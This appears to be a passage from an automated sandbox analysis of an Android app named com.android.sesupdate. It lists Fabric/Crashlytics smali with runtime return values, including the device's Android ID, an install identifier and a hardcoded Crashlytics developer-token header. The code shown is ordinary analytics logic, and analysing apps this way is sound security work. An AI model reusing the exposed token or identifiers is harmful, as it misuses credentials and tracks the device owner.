                          59move-result-object v4
                          60goto/16 :goto_6
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.getInstallerPackageName
                          • android.content.Context.getPackageManager
                          • io.fabric.sdk.android.FabricContext.getPackageName
                          • android.content.pm.PackageManager.getPackageInfo
                          • java.lang.Integer.toString
                          • android.content.Context.getApplicationInfo
                          • android.content.pm.PackageManager.getApplicationLabel
                          • java.lang.CharSequence.toString
                          • android.content.Context.getApplicationInfo
                          • java.lang.Integer.toString
                          Strings
                          • com.google.android.feedback
                          • com.android.sesupdate
                          • 0.0
                          • Fabric
                          • Failed init
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v1, 0x0
                          2try_start_1:
                          3invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getIdManager()Lio/fabric/sdk/android/services/common/IdManager;
                          4move-result-object v2
                          6invoke-virtual {v2}, Lio/fabric/sdk/android/services/common/IdManager;->getInstallerPackageName()Ljava/lang/String;
                          • Time: 994607512
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • com.google.android.feedback
                          7move-result-object v2
                          8iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->installerPackageName:Ljava/lang/String;
                          10invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          11move-result-object v2
                          13invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          14move-result-object v2
                          15iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageManager:Landroid/content/pm/PackageManager;
                          17invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          18move-result-object v2
                          20invoke-virtual {v2}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          • Time: 994607515
                            • This:
                              • io.fabric.sdk.android.FabricContext@158d77a9
                            • Return:
                              • com.android.sesupdate
                          21move-result-object v2
                          22iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageName:Ljava/lang/String;
                          24iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageManager:Landroid/content/pm/PackageManager;
                          26iget-object v3, p0, Lio/fabric/sdk/android/Onboarding;->packageName:Ljava/lang/String;
                          27const/4 v4, 0x0
                          29invoke-virtual {v2, v3, v4}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                          30move-result-object v2
                          31iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageInfo:Landroid/content/pm/PackageInfo;
                          33iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageInfo:Landroid/content/pm/PackageInfo;
                          34iget v2, v2, Landroid/content/pm/PackageInfo;->versionCode:I
                          36invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                          37move-result-object v2
                          38iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->versionCode:Ljava/lang/String;
                          40iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageInfo:Landroid/content/pm/PackageInfo;
                          42iget-object v2, v2, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          43if-nez v2, :cond_64
                          45const-string v2, "0.0"
                          46goto_3c: iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->versionName:Ljava/lang/String;
                          48iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageManager:Landroid/content/pm/PackageManager;
                          50invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          51move-result-object v3
                          53invoke-virtual {v3}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                          54move-result-object v3
                          56invoke-virtual {v2, v3}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
                          57move-result-object v2
                          59invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                          60move-result-object v2
                          61iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->applicationLabel:Ljava/lang/String;
                          63invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          64move-result-object v2
                          66invoke-virtual {v2}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                          67move-result-object v2
                          68iget v2, v2, Landroid/content/pm/ApplicationInfo;->targetSdkVersion:I
                          70invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                          71move-result-object v2
                          72iput-object v2, p0, Lio/fabric/sdk/android/Onboarding;->targetAndroidSdkVersion:Ljava/lang/String;
                          73const/4 v1, 0x1
                          74goto_63: return v1
                          75cond_64:
                          76iget-object v2, p0, Lio/fabric/sdk/android/Onboarding;->packageInfo:Landroid/content/pm/PackageInfo;
                          78iget-object v2, v2, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                          79try_end_68: goto/16 :goto_3c
                          80catch_69: move-exception v0
                          82invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          83move-result-object v2
                          85const-string v3, "Fabric"
                          87const-string v4, "Failed init"
                          89invoke-interface {v2, v3, v4, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          90goto/16 :goto_63
                          Cross References
                          APIs
                          • java.util.HashMap.<init>
                          • java.util.Collection.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.util.Map.entrySet
                          • java.util.Set.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.util.Map$Entry.getKey
                          • java.util.Map$Entry.getValue
                          • io.fabric.sdk.android.services.common.IdManager.getAdvertisingId
                          • android.text.TextUtils.isEmpty
                          • io.fabric.sdk.android.services.common.IdManager.getAndroidId
                          • java.util.Collections.unmodifiableMap
                          Strings
                          • d6ab1046af78a9eb
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Map",
                          4"<",
                          5"Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;",
                          6"Ljava/lang/String;",
                          7">;"
                          8}
                          9.end annotation
                          10.prologue
                          11new-instance v3, Ljava/util/HashMap;
                          13invoke-direct {v3}, Ljava/util/HashMap;-><init>()V
                          15iget-object v6, p0, Lio/fabric/sdk/android/services/common/IdManager;->kits:Ljava/util/Collection;
                          17invoke-interface {v6}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                          18move-result-object v8
                          19cond_b:
                          20invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
                          21move-result v6
                          22if-eqz v6, :cond_46
                          24invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          25move-result-object v4
                          26check-cast v4, Lio/fabric/sdk/android/Kit;
                          27instance-of v6, v4, Lio/fabric/sdk/android/services/common/DeviceIdentifierProvider;
                          28if-eqz v6, :cond_b
                          29move-object v2, v4
                          30check-cast v2, Lio/fabric/sdk/android/services/common/DeviceIdentifierProvider;
                          32invoke-interface {v2}, Lio/fabric/sdk/android/services/common/DeviceIdentifierProvider;->getDeviceIdentifiers()Ljava/util/Map;
                          33move-result-object v5
                          35invoke-interface {v5}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                          36move-result-object v6
                          38invoke-interface {v6}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                          39move-result-object v9
                          40goto_2a:
                          41invoke-interface {v9}, Ljava/util/Iterator;->hasNext()Z
                          42move-result v6
                          43if-eqz v6, :cond_b
                          45invoke-interface {v9}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          46move-result-object v1
                          47check-cast v1, Ljava/util/Map$Entry;
                          49invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                          50move-result-object v6
                          51check-cast v6, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          53invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          54move-result-object v7
                          55check-cast v7, Ljava/lang/String;
                          57invoke-direct {p0, v3, v6, v7}, Lio/fabric/sdk/android/services/common/IdManager;->putNonNullIdInto(Ljava/util/Map;Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;Ljava/lang/String;)V
                          58goto/16 :goto_2a
                          59cond_46:
                          60invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->getAdvertisingId()Ljava/lang/String;
                          • Time: 994608035
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • null
                          61move-result-object v0
                          63invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          64move-result v6
                          65if-eqz v6, :cond_5e
                          67sget-object v6, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->ANDROID_ID:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          69invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->getAndroidId()Ljava/lang/String;
                          • Time: 994608140
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • d6ab1046af78a9eb
                          70move-result-object v7
                          72invoke-direct {p0, v3, v6, v7}, Lio/fabric/sdk/android/services/common/IdManager;->putNonNullIdInto(Ljava/util/Map;Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;Ljava/lang/String;)V
                          73goto_59:
                          74invoke-static {v3}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                          75move-result-object v6
                          76return-object v6
                          77cond_5e:
                          78sget-object v6, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->ANDROID_ADVERTISING_ID:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          80invoke-direct {p0, v3, v6, v0}, Lio/fabric/sdk/android/services/common/IdManager;->putNonNullIdInto(Ljava/util/Map;Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;Ljava/lang/String;)V
                          81goto/16 :goto_59
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.settings.DefaultSettingsSpiCall.getUrl
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • io.fabric.sdk.android.Onboarding.getVersion
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • https://e.crashlytics.com/spi/v2/events
                          • https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings
                          • User-Agent
                          • Crashlytics Android SDK/
                          • 1.4.1.19
                          • X-CRASHLYTICS-DEVELOPER-TOKEN
                          • 470fa2b4ae81cd56ecbcda9735803434cec591fa
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/String;",
                          6"Ljava/lang/String;",
                          7">;)",
                          8"Lio/fabric/sdk/android/services/network/HttpRequest;"
                          9}
                          10.end annotation
                          11.prologue
                          13iget-object v1, p0, Lio/fabric/sdk/android/services/common/AbstractSpiCall;->requestFactory:Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          15iget-object v2, p0, Lio/fabric/sdk/android/services/common/AbstractSpiCall;->method:Lio/fabric/sdk/android/services/network/HttpMethod;
                          17invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/AbstractSpiCall;->getUrl()Ljava/lang/String;
                          • Time: 994608527
                            • This:
                              • io.fabric.sdk.android.services.settings.DefaultSettingsSpiCall@1fe81d8a
                            • Return:
                              • https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings
                          • Time: 994626551
                            • This:
                              • com.crashlytics.android.answers.SessionAnalyticsFilesSender@28593b97
                            • Return:
                              • https://e.crashlytics.com/spi/v2/events
                          18move-result-object v3
                          20invoke-interface {v1, v2, v3, p1}, Lio/fabric/sdk/android/services/network/HttpRequestFactory;->buildHttpRequest(Lio/fabric/sdk/android/services/network/HttpMethod;Ljava/lang/String;Ljava/util/Map;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          21move-result-object v0
                          22const/4 v1, 0x0
                          24invoke-virtual {v0, v1}, Lio/fabric/sdk/android/services/network/HttpRequest;->useCaches(Z)Lio/fabric/sdk/android/services/network/HttpRequest;
                          25move-result-object v1
                          26const/16 v2, 0x2710
                          28invoke-virtual {v1, v2}, Lio/fabric/sdk/android/services/network/HttpRequest;->connectTimeout(I)Lio/fabric/sdk/android/services/network/HttpRequest;
                          29move-result-object v1
                          31const-string v2, "User-Agent"
                          32new-instance v3, Ljava/lang/StringBuilder;
                          34invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                          36const-string v4, "Crashlytics Android SDK/"
                          38invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          39move-result-object v3
                          41iget-object v4, p0, Lio/fabric/sdk/android/services/common/AbstractSpiCall;->kit:Lio/fabric/sdk/android/Kit;
                          43invoke-virtual {v4}, Lio/fabric/sdk/android/Kit;->getVersion()Ljava/lang/String;
                          • Time: 994608614
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • 1.4.1.19
                          44move-result-object v4
                          46invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          47move-result-object v3
                          49invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          50move-result-object v3
                          52invoke-virtual {v1, v2, v3}, Lio/fabric/sdk/android/services/network/HttpRequest;->header(Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          53move-result-object v1
                          55const-string v2, "X-CRASHLYTICS-DEVELOPER-TOKEN"
                          57const-string v3, "470fa2b4ae81cd56ecbcda9735803434cec591fa"
                          59invoke-virtual {v1, v2, v3}, Lio/fabric/sdk/android/services/network/HttpRequest;->header(Ljava/lang/String;Ljava/lang/String;)Lio/fabric/sdk/android/services/network/HttpRequest;
                          60move-result-object v1
                          61return-object v1
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • io.fabric.sdk.android.Onboarding.getIdentifier
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • com.crashlytics.sdk.android.crashlytics-core
                          • com.crashlytics.sdk.android:answers
                          • com.crashlytics.sdk.android:beta
                          • com.crashlytics.sdk.android:crashlytics
                          • io.fabric.sdk.android:fabric
                          • .
                          • KitInitialization
                          Position Instruction Meta Information
                          0.param p1, "event" # Ljava/lang/String;
                          1.prologue
                          2new-instance v0, Lio/fabric/sdk/android/services/common/TimingMetric;
                          3new-instance v1, Ljava/lang/StringBuilder;
                          5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                          7iget-object v2, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          9invoke-virtual {v2}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          • Time: 994607495
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • io.fabric.sdk.android:fabric
                          • Time: 994607532
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994607543
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994607570
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          • Time: 994607748
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          10move-result-object v2
                          12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          13move-result-object v1
                          15const-string v2, "."
                          17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          18move-result-object v1
                          20invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          21move-result-object v1
                          23invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          24move-result-object v1
                          26const-string v2, "KitInitialization"
                          28invoke-direct {v0, v1, v2}, Lio/fabric/sdk/android/services/common/TimingMetric;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                          30invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/TimingMetric;->startMeasuring()V
                          31return-object v0
                          Cross References
                          APIs
                          • io.fabric.sdk.android.Onboarding.getIdentifier
                          • io.fabric.sdk.android.Onboarding.getPath
                          • io.fabric.sdk.android.FabricContext.<init>
                          Strings
                          • com.crashlytics.sdk.android.crashlytics-core
                          • com.crashlytics.sdk.android:answers
                          • com.crashlytics.sdk.android:beta
                          • com.crashlytics.sdk.android:crashlytics
                          • io.fabric.sdk.android:fabric
                          • .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          • .Fabric/com.crashlytics.sdk.android:answers
                          • .Fabric/com.crashlytics.sdk.android:beta
                          • .Fabric/com.crashlytics.sdk.android:crashlytics
                          • .Fabric/io.fabric.sdk.android:fabric
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "fabric" # Lio/fabric/sdk/android/Fabric;
                          2.param p4, "idManager" # Lio/fabric/sdk/android/services/common/IdManager;
                          3.annotation system Ldalvik/annotation/Signature;
                          4value = {
                          5"(",
                          6"Landroid/content/Context;",
                          7"Lio/fabric/sdk/android/Fabric;",
                          8"Lio/fabric/sdk/android/InitializationCallback",
                          9"<TResult;>;",
                          10"Lio/fabric/sdk/android/services/common/IdManager;",
                          11")V"
                          12}
                          13.end annotation
                          14.prologue
                          15iput-object p2, p0, Lio/fabric/sdk/android/Kit;->fabric:Lio/fabric/sdk/android/Fabric;
                          16new-instance v0, Lio/fabric/sdk/android/FabricContext;
                          18invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          • Time: 994607434
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • io.fabric.sdk.android:fabric
                          • Time: 994607444
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994607456
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994607471
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          • Time: 994607483
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          19move-result-object v1
                          21invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->getPath()Ljava/lang/String;
                          • Time: 994607441
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • .Fabric/io.fabric.sdk.android:fabric
                          • Time: 994607453
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • .Fabric/com.crashlytics.sdk.android:crashlytics
                          • Time: 994607465
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • .Fabric/com.crashlytics.sdk.android:beta
                          • Time: 994607480
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • .Fabric/com.crashlytics.sdk.android:answers
                          • Time: 994607491
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • .Fabric/com.crashlytics.sdk.android.crashlytics-core
                          22move-result-object v2
                          24invoke-direct {v0, p1, v1, v2}, Lio/fabric/sdk/android/FabricContext;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                          25iput-object v0, p0, Lio/fabric/sdk/android/Kit;->context:Landroid/content/Context;
                          26iput-object p3, p0, Lio/fabric/sdk/android/Kit;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          27iput-object p4, p0, Lio/fabric/sdk/android/Kit;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          28return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier
                          • io.fabric.sdk.android.services.common.CommonUtils.sha1
                          • java.lang.String.substring
                          • java.lang.String.subSequence
                          • java.lang.String.substring
                          • java.lang.String.format
                          • java.lang.String.toUpperCase
                          Strings
                          • 727b1e1c99ed48bfa431dd3ed82456db
                          • 2139026ba246eeec6abbb147dbf0c48102e7639a
                          • %s-%s-%s-%s
                          Position Instruction Meta Information
                          0.param p1, "idManager" # Lio/fabric/sdk/android/services/common/IdManager;
                          1.prologue
                          2const/16 v10, 0x10
                          3const/16 v9, 0xc
                          4const/4 v8, 0x0
                          6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          7const/16 v3, 0xa
                          8new-array v0, v3, [B
                          10invoke-direct {p0, v0}, Lcom/crashlytics/android/core/CLSUUID;->populateTime([B)V
                          12invoke-direct {p0, v0}, Lcom/crashlytics/android/core/CLSUUID;->populateSequenceNumber([B)V
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/core/CLSUUID;->populatePID([B)V
                          16invoke-virtual {p1}, Lio/fabric/sdk/android/services/common/IdManager;->getAppInstallIdentifier()Ljava/lang/String;
                          • Time: 994608100
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • 727b1e1c99ed48bfa431dd3ed82456db
                          17move-result-object v3
                          19invoke-static {v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->sha1(Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608176
                            • p0: 727b1e1c99ed48bfa431dd3ed82456db
                            • Return:
                              • 2139026ba246eeec6abbb147dbf0c48102e7639a
                          20move-result-object v1
                          22invoke-static {v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->hexify([B)Ljava/lang/String;
                          23move-result-object v2
                          25sget-object v3, Ljava/util/Locale;->US:Ljava/util/Locale;
                          27const-string v4, "%s-%s-%s-%s"
                          28const/4 v5, 0x4
                          29new-array v5, v5, [Ljava/lang/Object;
                          31invoke-virtual {v2, v8, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          32move-result-object v6
                          33aput-object v6, v5, v8
                          34const/4 v6, 0x1
                          36invoke-virtual {v2, v9, v10}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          37move-result-object v7
                          38aput-object v7, v5, v6
                          39const/4 v6, 0x2
                          40const/16 v7, 0x14
                          42invoke-virtual {v2, v10, v7}, Ljava/lang/String;->subSequence(II)Ljava/lang/CharSequence;
                          43move-result-object v7
                          44aput-object v7, v5, v6
                          45const/4 v6, 0x3
                          47invoke-virtual {v1, v8, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          48move-result-object v7
                          49aput-object v7, v5, v6
                          51invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                          52move-result-object v3
                          54sget-object v4, Ljava/util/Locale;->US:Ljava/util/Locale;
                          56invoke-virtual {v3, v4}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
                          57move-result-object v3
                          58sput-object v3, Lcom/crashlytics/android/core/CLSUUID;->_clsId:Ljava/lang/String;
                          59return-void
                          Cross References
                          APIs
                          • android.content.Context.getResources
                          • android.content.res.Resources.getString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • io.fabric.android.build_id
                          • string
                          • com.crashlytics.android.build_id
                          • edbc48a3-7084-4623-be9d-a00d32277bfa
                          • Fabric
                          • Build ID is:
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          4const-string v2, "io.fabric.android.build_id"
                          6const-string v3, "string"
                          8invoke-static {p0, v2, v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->getResourcesIdentifier(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)I
                          9move-result v1
                          10if-nez v1, :cond_13
                          12const-string v2, "com.crashlytics.android.build_id"
                          14const-string v3, "string"
                          16invoke-static {p0, v2, v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->getResourcesIdentifier(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)I
                          17move-result v1
                          18cond_13: if-eqz v1, :cond_39
                          20invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                          21move-result-object v2
                          23invoke-virtual {v2, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                          • Time: 994608334
                            • This:
                              • android.content.res.Resources@19ea9460
                            • id: 2131034113
                            • Return:
                              • edbc48a3-7084-4623-be9d-a00d32277bfa
                          24move-result-object v0
                          26invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          27move-result-object v2
                          29const-string v3, "Fabric"
                          30new-instance v4, Ljava/lang/StringBuilder;
                          32invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                          34const-string v5, "Build ID is: "
                          36invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          37move-result-object v4
                          39invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          40move-result-object v4
                          42invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          43move-result-object v4
                          45invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          46cond_39: return-object v0
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • io.fabric.sdk.android.Onboarding.getIdentifier
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • .Fabric
                          • com.crashlytics.sdk.android.crashlytics-core
                          • com.crashlytics.sdk.android:answers
                          • com.crashlytics.sdk.android:beta
                          • com.crashlytics.sdk.android:crashlytics
                          • io.fabric.sdk.android:fabric
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/lang/StringBuilder;
                          3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          5const-string v1, ".Fabric"
                          7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          8move-result-object v0
                          10sget-object v1, Ljava/io/File;->separator:Ljava/lang/String;
                          12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          13move-result-object v0
                          15invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          • Time: 994607438
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • io.fabric.sdk.android:fabric
                          • Time: 994607448
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • com.crashlytics.sdk.android:crashlytics
                          • Time: 994607462
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • com.crashlytics.sdk.android:beta
                          • Time: 994607477
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • com.crashlytics.sdk.android:answers
                          • Time: 994607488
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • com.crashlytics.sdk.android.crashlytics-core
                          16move-result-object v1
                          18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          19move-result-object v0
                          21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          22move-result-object v0
                          23return-object v0
                          Cross References
                          APIs
                          • java.lang.Class.isInterface
                          • java.util.Map.values
                          • java.util.Collection.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • com.crashlytics.android.Crashlytics.getClass
                          • java.lang.Class.isAssignableFrom
                          • java.util.Map.get
                          • io.fabric.sdk.android.services.concurrency.UnmetDependencyException.<init>
                          • java.util.Map.get
                          Strings
                          • Referenced Kit was null, does the kit exist?
                          Position Instruction Meta Information
                          0.param p2, "dependentKit" # Lio/fabric/sdk/android/Kit;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"(",
                          4"Ljava/util/Map",
                          5"<",
                          6"Ljava/lang/Class",
                          7"<+",
                          8"Lio/fabric/sdk/android/Kit;",
                          9">;",
                          10"Lio/fabric/sdk/android/Kit;",
                          11">;",
                          12"Lio/fabric/sdk/android/Kit;",
                          13")V"
                          14}
                          15.end annotation
                          16.prologue
                          18iget-object v2, p2, Lio/fabric/sdk/android/Kit;->dependsOnAnnotation:Lio/fabric/sdk/android/services/concurrency/DependsOn;
                          19if-eqz v2, :cond_5c
                          21invoke-interface {v2}, Lio/fabric/sdk/android/services/concurrency/DependsOn;->value()[Ljava/lang/Class;
                          22move-result-object v0
                          23array-length v6, v0
                          24const/4 v4, 0x0
                          25move v5, v4
                          26goto_b: if-ge v5, v6, :cond_5c
                          27aget-object v1, v0, v5
                          29invoke-virtual {v1}, Ljava/lang/Class;->isInterface()Z
                          30move-result v4
                          31if-eqz v4, :cond_3b
